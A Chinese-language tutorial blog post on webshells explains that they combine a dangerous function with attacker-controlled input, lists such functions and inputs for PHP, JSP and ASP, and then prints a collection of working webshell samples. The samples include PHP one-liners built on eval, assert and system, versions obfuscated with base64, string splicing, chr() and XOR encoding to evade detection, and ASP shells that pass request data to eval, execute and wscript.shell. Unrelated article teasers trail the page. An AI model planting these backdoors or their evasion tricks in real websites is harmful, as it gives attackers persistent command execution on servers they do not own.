webshell详解
Webshell详解
- 一、 Webshell 介绍
- 二 、 基础常见webshell案例
一、 Webshell 介绍
- 概念
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门文件,得到一个命令执行环境,以达到控制网站服务器的目的。
从字面上来说,webshell单词可以拆成web和shell。其中web即服务器所开放的web服务。Shell即命令执行环境,用户与服务器操作系统交互的接口。即黑客通过网站提供的web服务建立与服务器进行交互的执行环境,从而获取服务器的一些权限,最终达到控制网站服务器的目的。
- 简单介绍
一个最简单的 php webshell
<?php system($_GET[1]); ?>
利用该webshell执行任意命令:

- webshell本质
如下任意命令执行类webshell一般由以下两部分组成:
-
威胁函数;
-
可控参数;

简单总结 ,Webshell的本质其实是威胁函数和可控参数的组合调用,二者缺一不可。
绝大多数webshell都遵循这个原则,理解了这个大原则,也就基本了解了webshell的逻辑。
- 威胁函数与可控输入总结(常见)
- php Webshell威胁函数 :
1 - 命令执行类函数:
exec,passthru,shell_exec,system,popen,proc_open,expect_popen,pcntl_exec,ssh2_exec,
php_check_syntax,virtual,escapeshellcmd2 – 执行代码段函数
assert,eval,create_function,runkit_function_add,runkit_function_redefine 3 – 回调类函数
call_user_func,call_user_func_array,array_diff_uassoc,array_diff_ukey,
array_filter,array_intersect_uassoc,array_intersect_ukey,array_map,
array_reduce,array_udiff,array_udiff_assoc,array_udiff_uassoc…4 – 文件包含函数
include, require, require_once, include_once
- php webshell 可控输入:
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_SERVER
- jsp webshell 威胁函数(类)
1 - 命令执行:
java.lang.Runtime.getRuntime().exec()
java.lang.ProcessBuilder.start()
java.lang.ProcessImpl //私有类,需要使用反射加载
ScriptEngineManager().getEngineByName().eval() //ScriptEngine(实现与js交互)执行脚本
ELProcessor().eval() //tomcat el表达式
ELManager().getExpressionFactory().createValuexpression() //ELProcessor的eval的底层实现
java.beans.Expression.getValue() //java.beans.Expression命令执行
jdk.jshell.jshell.builder().build().eval() // Java 9 使用 JShell 命令执行2 - 类加载:
java.lang.ClassLoader
java.net.URLClassLoader3 - 反射:
Class.forName("{威胁函数}")4 - 反序列化:
XMLDecoder().readObject() // 类似weblogic xml 反序列化漏洞5 - jndi注入:
com.sun.rowset.JdbcRowSetImpl
- jsp 可控输入:
1 - Request(HttpServletRequest)的可控参数种类:
getParameter, getQueryString, getParameterNames,
getInputStream, getReader, getParameterMap, getContentLength,
getParameterValues, getHeader,
getHeaders, getParameterMap, getHeaderNames, getRequestedSessionId, getCookies, getAttribute, getAttributeNames,
getContentLengthLong2 - 其他参数类型:
URLConnection(HttpURLConnection)
Response(HttpServletResponse)
pageContext
- asp webshell 威胁函数
eval
execute
executeGlobal
(wscript.shell).exec()
- asp 可控输入:
request()
Request.BinaryRead()
php 函数库参考文档:https://www.php.net/
java 类方法参考文档:https://tool.oschina.net/apidocs/apidoc?api=jdk-zh
二 、 基础常见webshell案例
- PHP webshell 类
- “一句话webshell” 类
<?php eval($_POST['1']);?><?php assert($_REQUEST["c"]);?><?php system($_POST['1']);?><?php shell_exec($_GET['1']);?>
- create_function 函数使用
<?php $ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));$ant();?>
- 字符拼接类
<?php
$s0="e";
$s1="val($";
$s2="_";
$s3="P";
$s4="O";
$s5="ST";
$poos=$s0.$s1.$s2.$s3.$s4.$s5."[mima]);";
$pp=@eval($poos);
@eval($pp);
?>
- ascii码隐藏特征字符
<?php
$a="chr";
$b=$a(97).$a(115).$a(115).$a(101).$a(114).$a(116);
echo $b;
$b($_POST['cmd']);
?>
- preg_replace 函数 /e 特性使用
<?php
$a = $_REQUEST['id'];
preg_replace('/.*/e',' '.$a,'');
?>
- include 文件包含
<?php
@include($_GET['bug']);
?>
- 异或逻辑运算隐藏特征字符
<?php
#$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
#$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`'); // $_='assert';
$__='_'.('{'^'+').('/'^'`').(''^']').(' '^']'); // $__='_POST';
echo $__;
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
- asp webshell类
- eval 执行任意命令
<%eval request("qt")%>
- execute 执行任意命令
<%
dim a(5)
a(0)=request("404")
eXecUTe(a(0))
%>
- COM组件命令执行
<%=server.createobject("ws"+"cript.shell").exec("cmd.exe /c "&request("qt")).stdout.readall%>
相关文章:
webshell详解
Webshell详解 一、 Webshell 介绍二 、 基础常见webshell案例 一、 Webshell 介绍 概念 webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与…...
数据结构 | 搜索和排序——搜索
目录 一、顺序搜索 二、分析顺序搜索算法 三、二分搜索 四、分析二分搜索算法 五、散列 5.1 散列函数 5.2 处理冲突 5.3 实现映射抽象数据类型 搜索是指从元素集合中找到某个特定元素的算法过程。搜索过程通常返回True或False,分别表示元素是否存在。有时&a…...
【python】对象
对象 初识对象成员方法类和对象构造方法其它内置方法封装继承类型注释多态综合案例二级目录三级目录 初识对象 设计表格-生产表格-填写表格 对应于程序中:设计类-创建对象-对象属性赋值 class Student:nameNonegenderNone # 基于类创建对象 stu_1Student() stu_2S…...
k8s概念-污点与容忍
k8s 集群中可能管理着非常庞大的服务器,这些服务器可能是各种各样不同类型的,比如机房、地理位置、配置等,有些是计算型节点,有些是存储型节点,此时我们希望能更好的将 pod 调度到与之需求更匹配的节点上。 此时就需要…...
“从零开始学习Spring Boot:构建高效、可扩展的Java应用程序“
标题:从零开始学习Spring Boot:构建高效、可扩展的Java应用程序 简介: Spring Boot是一种用于简化Java应用程序开发的开源框架,它提供了一种快速、高效的方式来构建可扩展的应用程序。本文将介绍如何从零开始学习Spring Boot&…...
通向架构师的道路之tomcat集群
一、为何要集群 单台App Server再强劲,也有其瓶劲,先来看一下下面这个真实的场景。 当时这个工程是这样的,tomcat这一段被称为web zone,里面用springws,还装了一个jboss的规则引擎Guvnor5.x,全部是ws没有se…...
结构体,枚举,联合大小的计算规则
目录 1.结构体大小的计算 补充(位段) 2.枚举的大小(4个字节) 3.联合大小的计算 1.结构体大小的计算 (1)结构体内存对齐的规则 1. 第一个成员在与结构体变量偏移量为 0 的地址处。 2. 其他成员变量要对…...
Vue2 第十七节 Vue中的Ajax
1.Vue脚手架配置代理 2.vue-resource 一.Vue脚手架配置代理 1.1 使用Ajax库 -- axios ① 安装 : npm i axios ② 引入: import axios from axios ③ 使用示例 1.2 解决开发环境Ajax跨域问题 跨域:违背了同源策略,同源策略规定协议名࿰…...
ES6 - 字符串新增的一些常用方法
文章目录 0,新增的一些方法1,includes()、startsWith()、endsWith()2,repeat()3,padStart()、padEnd()4,trimStart()、trimEnd()5,replaceAll()6,at() 0,新增的一些方法 介绍一些ES6…...
最新SQLMap安装与入门技术
点击星标,即时接收最新推文 本文选自《web安全攻防渗透测试实战指南(第2版)》 五折购买链接:u.jd.com/3ibjeF6 SQLMap详解 SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞。SQLMa…...
Java 使用 Google Guava 实现接口限流
一、引入依赖 <dependency><groupId>com.google.guava</groupId><artifactId>guava</artifactId><version>30.0-jre</version> </dependency>二、自定义注解及限流拦截器 自定义注解:Limiter package com.haita…...
帮助中心的价值是什么?怎样才能在线搭建官网网站帮助中心?
帮助中心(Help Center)是一个提供公司或组织产品或服务相关信息的在线平台。它的价值在于为用户提供便捷的自助服务和解决问题的渠道,同时也能减轻客服人员的负担。 如何在线搭建官网网站帮助中心的步骤 确定需求:在搭建帮助中心…...
Kubernetes——理论基础
Kubernetes——理论基础 一、Kubernetes 概述1.K8S 是什么?2.为什么要用 K8S?3.Kubernetes 主要功能 二、Kubernetes 集群架构与组件三、Master 组件1.Kube-apiserver2.Kube-controller-manager3.Kube-scheduler4.配置存储中心——etcd 四、Node 组件1.Kubelet2.Ku…...
【VUE3】
Vue 3 是当下最流行的前端框架之一,其主要特点是性能更好、体积更小、更易于维护。下面是 Vue 3 的一些重要知识点和代码示例: 创建 Vue 实例 import { createApp } from vueconst app createApp({data() {return {message: Hello, Vue 3!}} })app.mo…...
《金融数据保护治理白皮书》发布(137页)
温馨提示:文末附完整PDF下载链接 导读 目前业界已出台数据保护方面的治理模型,但围绕金融数据保护治理的实践指导等尚不成熟,本课题围绕数据保护治理的金融实践、发展现状,探索和标准化相关能力要求,归纳总结相关建…...
上海亚商投顾:沪指震荡微涨 金融、地产午后大幅走强
上海亚商投顾前言:无惧大盘涨跌,解密龙虎榜资金,跟踪一线游资和机构资金动向,识别短期热点和强势个股。 市场情绪 三大指数早盘震荡,午后集体拉升反弹,创业板指涨超1%。券商等大金融板块午后再度走强&#…...
Linux文件管理知识:查找文件
前几篇文章一一介绍了LINUX进程管理控制命令及网络层面的知识体系,综所周知,一个linux系统是由很多文件组成的,那么既然有那么多文件,那我们该如何管理这些文件呢? Linux中的所有数据都是以文件形式存在的,…...
【TypeScript】安装的坑!
TypeScript安装 安装TypeScript安装时候可能报错这样开头的数据(无法枚举容器中的对象)——原因:没权限先解决没权限的问题如果发现无法修改-高级-修改继续安装想使用tsc-发现,tsc不能用解决方法:配置环境变量最后的最…...
spring boot 2.x 使用 jpa 映射 json mysql列数据映射乱码
通过下面的依赖,可以将 mysql 的 json 列字段(mysql 5.7及以上的版本支持),映射成 Java Bean <dependency><groupId>com.vladmihalcea</groupId><artifactId>hibernate-types-52</artifactId><v…...
创建Helm脚本
一、创建脚本 Helm 是 Kubernetes 的包管理工具,它可以帮助您简化和自动化 Kubernetes 应用程序的部署和管理。使用 Helm,您可以创建和管理称为 Helm Chart 的应用程序打包,这些 Chart 包含了 Kubernetes 资源和配置信息,可以在不…...
工程地质软件市场:发展现状、趋势与策略建议
一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...
Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...
【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)
🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...
三体问题详解
从物理学角度,三体问题之所以不稳定,是因为三个天体在万有引力作用下相互作用,形成一个非线性耦合系统。我们可以从牛顿经典力学出发,列出具体的运动方程,并说明为何这个系统本质上是混沌的,无法得到一般解…...
IoT/HCIP实验-3/LiteOS操作系统内核实验(任务、内存、信号量、CMSIS..)
文章目录 概述HelloWorld 工程C/C配置编译器主配置Makefile脚本烧录器主配置运行结果程序调用栈 任务管理实验实验结果osal 系统适配层osal_task_create 其他实验实验源码内存管理实验互斥锁实验信号量实验 CMISIS接口实验还是得JlINKCMSIS 简介LiteOS->CMSIS任务间消息交互…...
Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
HDFS分布式存储 zookeeper
hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架,允许使用简单的变成模型跨计算机对大型集群进行分布式处理(1.海量的数据存储 2.海量数据的计算)Hadoop核心组件 hdfs(分布式文件存储系统)&a…...
Go 并发编程基础:通道(Channel)的使用
在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...
Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...
HubSpot推出与ChatGPT的深度集成引发兴奋与担忧
上周三,HubSpot宣布已构建与ChatGPT的深度集成,这一消息在HubSpot用户和营销技术观察者中引发了极大的兴奋,但同时也存在一些关于数据安全的担忧。 许多网络声音声称,这对SaaS应用程序和人工智能而言是一场范式转变。 但向任何技…...
